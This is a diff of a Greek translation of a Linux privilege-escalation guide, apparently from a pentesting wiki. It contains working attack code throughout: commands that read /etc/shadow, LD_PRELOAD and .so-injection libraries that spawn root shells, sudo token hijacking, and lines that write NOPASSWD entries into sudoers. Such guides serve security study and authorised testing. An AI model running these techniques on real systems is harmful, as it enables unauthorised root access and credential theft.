εκτέλεσης του Sudo +### Sudo: παράκαμψη εκτέλεσης μέσω μονοπατιών -**Μετάβαση** για ανάγνωση άλλων αρχείων ή χρήση **symlinks**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** για να διαβάσεις άλλα αρχεία ή να χρησιμοποιήσεις **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -761,41 +782,41 @@ sudo less /var/log/new #Use symlinks to read any file sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Αντιμέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Αντιμετώπιση**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary χωρίς καθορισμένη διαδρομή εντολής -Εάν η **sudo permission** έχει δοθεί σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Αν η **sudo permission** έχει δοθεί για μία μόνο εντολή **χωρίς να καθορίζεται το path**: _hacker10 ALL= (root) less_ μπορείτε να την εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**. +Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή της (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary με καθορισμένη διαδρομή εντολής -Εάν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να προσπαθήσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. +Αν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να προσπαθήσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. Για παράδειγμα, αν ένα suid binary καλεί _**/usr/sbin/service apache2 start**_, πρέπει να προσπαθήσετε να δημιουργήσετε τη συνάρτηση και να την **export**: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Στη συνέχεια, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί +Στη συνέχεια, όταν εκτελέσεις το suid binary, αυτή η συνάρτηση θα εκτελεστεί ### LD_PRELOAD & **LD_LIBRARY_PATH** -Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως preloading a library. +Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις υπόλοιπες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως preloading μιας βιβλιοθήκης. -Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ιδίως σε **suid/sgid** εκτελέσιμα, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: +Ωστόσο, για τη διατήρηση της ασφάλειας του συστήματος και για να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ειδικά σε **suid/sgid** executables, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: -- Ο loader αγνοεί την **LD_PRELOAD** για εκτελέσιμα όπου το real user ID (_ruid_) δεν ταιριάζει με το effective user ID (_euid_). -- Για εκτελέσιμα με suid/sgid, μόνο βιβλιοθήκες σε standard paths που είναι επίσης suid/sgid προφορτώνονται. +- Ο loader αγνοεί **LD_PRELOAD** για executables όπου το real user ID (_ruid_) δεν αντιστοιχεί στο effective user ID (_euid_). +- Για executables με suid/sgid, μόνο βιβλιοθήκες σε standard paths που είναι επίσης suid/sgid προφορτώνονται. -Μπορεί να συμβεί privilege escalation αν έχετε τη δυνατότητα να εκτελέσετε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές τρέχουν με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση arbitrary code με αυξημένα προνόμια. +Privilege escalation μπορεί να προκύψει αν έχεις τη δυνατότητα να εκτελείς εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η διαμόρφωση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να διατηρηθεί και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με ανεβασμένα προνόμια. ``` Defaults env_keep += LD_PRELOAD ``` @@ -812,7 +833,7 @@ setuid(0); system("/bin/bash"); } ``` -Στη συνέχεια **compile it** χρησιμοποιώντας: +Στη συνέχεια, **μεταγλωττίστε το** χρησιμοποιώντας: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -822,7 +843,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ένα παρόμοιο privesc μπορεί να καταχραστεί εάν ο attacker ελέγχει την env μεταβλητή **LD_LIBRARY_PATH**, επειδή αυτός ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. +> Ένας παρόμοιος privesc μπορεί να καταχραστεί εάν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. ```c #include #include @@ -844,13 +865,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Όταν συναντάτε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επιβεβαιώσετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορείτε να το ελέγξετε εκτελώντας την εξής εντολή: +Όταν συναντήσετε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί τρέχοντας την ακόλουθη εντολή: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει πιθανότητα εκμετάλλευσης. -Για να το εκμεταλλευτεί κανείς, θα δημιουργήσει ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: +Για να το εκμεταλλευτείτε, προχωράτε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: ```c #include #include @@ -861,9 +882,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει στην αναβάθμιση προνομίων με τη μεταβολή των δικαιωμάτων αρχείων και στην εκτέλεση ενός shell με αυξημένα προνόμια. +Αυτός ο κώδικας, αφού μεταγλωττιστεί και εκτελεστεί, στοχεύει να αυξήσει τα privileges χειριζόμενος τα file permissions και εκτελώντας ένα shell με elevated privileges. -Μεταγλωττίστε το παραπάνω αρχείο C σε ένα shared object (.so) αρχείο με: +Μεταγλωττίστε το παραπάνω C αρχείο σε ένα shared object (.so) αρχείο με: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -879,7 +900,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Τώρα που έχουμε βρει ένα SUID binary που φορτώνει μια library από έναν φάκελο όπου μπορούμε να γράψουμε, ας δημιουργήσουμε τη library σε εκείνον τον φάκελο με το απαραίτητο όνομα: +Τώρα που εντοπίσαμε ένα SUID binary που φορτώνει μια βιβλιοθήκη από έναν φάκελο στον οποίο μπορούμε να γράψουμε, ας δημιουργήσουμε τη βιβλιοθήκη σε εκείνον τον φάκελο με το απαραίτητο όνομα: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,7 +913,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Αν λάβετε σφάλμα όπως +Εάν λάβετε ένα σφάλμα όπως ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -900,15 +921,16 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν ένας attacker για να παρακάμψει τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε arguments** σε μια εντολή. +[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **να εισάγετε μόνο ορίσματα** σε μια εντολή. -Το project συγκεντρώνει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να ξεφύγουν από restricted shells, να escalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να spawn bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες. +Το project συγκεντρώνει νόμιμες λειτουργίες των Unix binaries που μπορούν να κακοποιηθούν για να διαφύγουν από περιορισμένα shells, να αυξήσουν ή να διατηρήσουν αυξημένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -920,60 +942,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Αν μπορείτε να εκτελέσετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. -### Reusing Sudo Tokens +### Επαναχρησιμοποίηση Sudo Tokens -Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι το password, μπορείτε να ανεβάσετε προνόμια περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υποκλέπτοντας το session token. +Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να ανεβάσετε προνόμια περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια καταλαμβάνοντας το session token. -Requirements to escalate privileges: +Απαιτήσεις για την αύξηση προνομίων: -- Έχετε ήδη ένα shell ως χρήστης _sampleuser_ -- _sampleuser_ έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15mins** (εκ προεπιλογής αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε κανένα password) +- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" +- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι τις **τελευταίες 15 λεπτά** (από προεπιλογή αυτό είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμε `sudo` χωρίς να εισάγουμε κωδικό) - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 -- `gdb` είναι διαθέσιμο (μπορείτε να το ανεβάσετε) +- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) -(Μπορείτε προσωρινά να ορίσετε το `ptrace_scope` σε 0 με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και θέτοντας `kernel.yama.ptrace_scope = 0`) +(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και ορίζοντας `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Εάν όλες αυτές οι απαιτήσεις πληρούνται, **μπορείτε να αυξήσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα πάρετε αυτόματα ένα root shell, κάντε `sudo su`): +- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα shell root, εκτελέστε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **που ανήκει στο root και έχει setuid** +- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **ιδιοκτησίας root με setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Το **τρίτο exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει **sudo tokens μόνιμα και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** +- Ο **τρίτος exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που καθιστά **τα sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Εάν έχετε **δικαιώματα εγγραφής** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που έχουν δημιουργηθεί μέσα σε αυτόν, μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ -Για παράδειγμα, αν μπορείτε να overwrite το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε shell ως user με PID 1234, μπορείτε να **αποκτήσετε προνόμια sudo** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό, κάνοντας: +Αν έχετε **write permissions** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που έχουν δημιουργηθεί μέσα σε αυτόν, μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **δημιουργήσετε ένα sudo token για έναν χρήστη και PID**.\ +Για παράδειγμα, αν μπορείτε να overwrite το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως αυτός ο χρήστης με PID 1234, μπορείτε να **αποκτήσετε sudo privileges** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό, κάνοντας: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` ρυθμίζουν ποιος μπορεί να χρησιμοποιεί `sudo` και πώς. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ -**Αν** μπορείτε να **διαβάσετε** αυτό το αρχείο, ίσως μπορείτε να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και αν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορέσετε να **escalate privileges**. +The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ +**Αν** μπορείτε να **διαβάσετε** αυτό το αρχείο μπορεί να καταφέρετε να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και εάν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορείτε να **αναβαθμίσετε προνόμια**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Αν μπορείτε να γράψετε, μπορείτε να καταχραστείτε αυτή την άδεια. +Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτή την άδεια. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Ένας άλλος τρόπος κατάχρησης αυτών των δικαιωμάτων: +Ένας άλλος τρόπος για την κατάχρηση αυτών των δικαιωμάτων: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,17 +1004,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Υπάρχουν μερικές εναλλακτικές στο `sudo` binary όπως το `doas` για το OpenBSD, θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` +Υπάρχουν ορισμένες εναλλακτικές στο δυαδικό `sudo`, όπως το `doas` για το OpenBSD — θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Αν γνωρίζετε ότι ένας **user συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να αποκτήσει αυξημένα προνόμια και έχετε ένα shell μέσα στο context αυτού του user, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και μετά την εντολή του user. Έπειτα, **τροποποιήστε το $PATH** του context του user (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) έτσι ώστε όταν ο user εκτελεί sudo, να εκτελείται το sudo εκτελέσιμο που δημιουργήσατε. +Αν γνωρίζεις ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αυξήσει τα προνόμια και έχεις shell μέσα στο περιβάλλον αυτού του χρήστη, μπορείς να **δημιουργήσεις ένα νέο εκτελέσιμο sudo** που θα εκτελέσει τον κώδικά σου ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποίησε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το sudo εκτελέσιμο σου. -Σημειώστε ότι αν ο user χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Σημείωσε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσεις άλλα αρχεία για να προσθέσεις το νέο path. Για παράδειγμα[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείς να βρεις άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ή τρέχοντας κάτι σαν: +Ή εκτελώντας κάτι σαν: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Αν αντιγράψετε τη lib στο `/var/tmp/flag15/`, θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως καθορίζεται στη μεταβλητή `RPATH`. +Αν αντιγράψετε το lib στο `/var/tmp/flag15/`, θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως καθορίζεται στη μεταβλητή `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1043,7 +1065,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Στη συνέχεια δημιουργήστε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Στη συνέχεια, δημιούργησε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1058,49 +1080,49 @@ execve(file,argv,0); ``` ## Δυνατότητες -Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων root σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα προνόμια root **σε μικρότερες και διακριτές μονάδες**. Καθεμία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ -Διαβάστε την παρακάτω σελίδα για να **μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις καταχραστείτε**: +Linux capabilities παρέχουν ένα **υποσύνολο των διαθέσιμων root προνομίων σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα root **προνόμια σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο μειώνεται το πλήρες σύνολο προνομίων, μειώνοντας τους κινδύνους εκμετάλλευσης.\ +Διαβάστε την παρακάτω σελίδα για να **μάθετε περισσότερα για τις capabilities και πώς να τις εκμεταλλεύεστε**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Δικαιώματα καταλόγου -Σε έναν κατάλογο, το **bit για το "execute"** υπονοεί ότι ο επηρεαζόμενος χρήστης μπορεί να κάνει "**cd**" μέσα στο φάκελο.\ -Το **"read"** bit υπονοεί ότι ο χρήστης μπορεί να **απαριθμήσει** τα **αρχεία**, και το **"write"** bit υπονοεί ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. +Σε έναν κατάλογο, το **bit for "execute"** υποδηλώνει ότι ο χρήστης μπορεί να "**cd**" μέσα στο φάκελο.\ +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **εμφανίσει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. ## ACLs -Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **παρακάμψει τα παραδοσιακά ugo/rwx δικαιώματα**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο πρόσβασης σε αρχείο ή κατάλογο επιτρέποντας ή απαγορεύοντας δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) αντιπροσωπεύουν τη δευτερεύουσα στρώση των discretionary αδειών, ικανή να **παρακάμψει τις παραδοσιακές ugo/rwx permissions**. Αυτές οι άδειες ενισχύουν τον έλεγχο πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενες δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Δώστε** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Λάβετε** αρχεία με συγκεκριμένα ACLs από το σύστημα: +**Αποκτήστε** αρχεία με συγκεκριμένα ACL από το σύστημα: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Άνοιγμα shell sessions +## Ανοικτές shell συνεδρίες -Σε **παλαιότερες εκδόσεις** μπορεί να **hijack** κάποια **shell** συνεδρία διαφορετικού χρήστη (**root**).\ -Σε **νεότερες εκδόσεις** θα μπορείτε να **connect** σε screen sessions μόνο του **δικού σας χρήστη**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. +Σε **old versions** μπορεί να **hijack** κάποια **shell** συνεδρία διαφορετικού χρήστη (**root**).\ +Στις **newest versions** θα μπορείτε να **connect** σε screen συνεδρίες μόνο του **your own user**. Ωστόσο, μπορεί να βρείτε **interesting information inside the session**. ### screen sessions hijacking -**Λίστα screen sessions** +**Λίστα screen συνεδριών** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Συνδεθείτε σε μια συνεδρία** +**Σύνδεση σε session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1108,7 +1130,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Αυτό ήταν ένα πρόβλημα με τις **παλιές tmux εκδόσεις**. Δεν μπόρεσα να hijack μια tmux (v2.1) session που είχε δημιουργηθεί από τον root όταν ήμουν χρήστης χωρίς προνόμια. +Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις του tmux**. Δεν μπόρεσα να hijack ένα tmux (v2.1) session που δημιουργήθηκε από τον root ως μη προνομιούχος χρήστης. **Λίστα tmux sessions** ```bash @@ -1128,53 +1150,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** για παράδειγμα. +Δες **Valentine box from HTB** για παράδειγμα. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, etc) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να έχουν επηρεαστεί από αυτό το bug.\ -Το bug αυτό προκαλείται κατά τη δημιουργία νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανές επιλογές μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να επηρεάζονται από αυτό το σφάλμα.\ +Αυτό το σφάλμα προκαλείται κατά τη δημιουργία ενός νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: 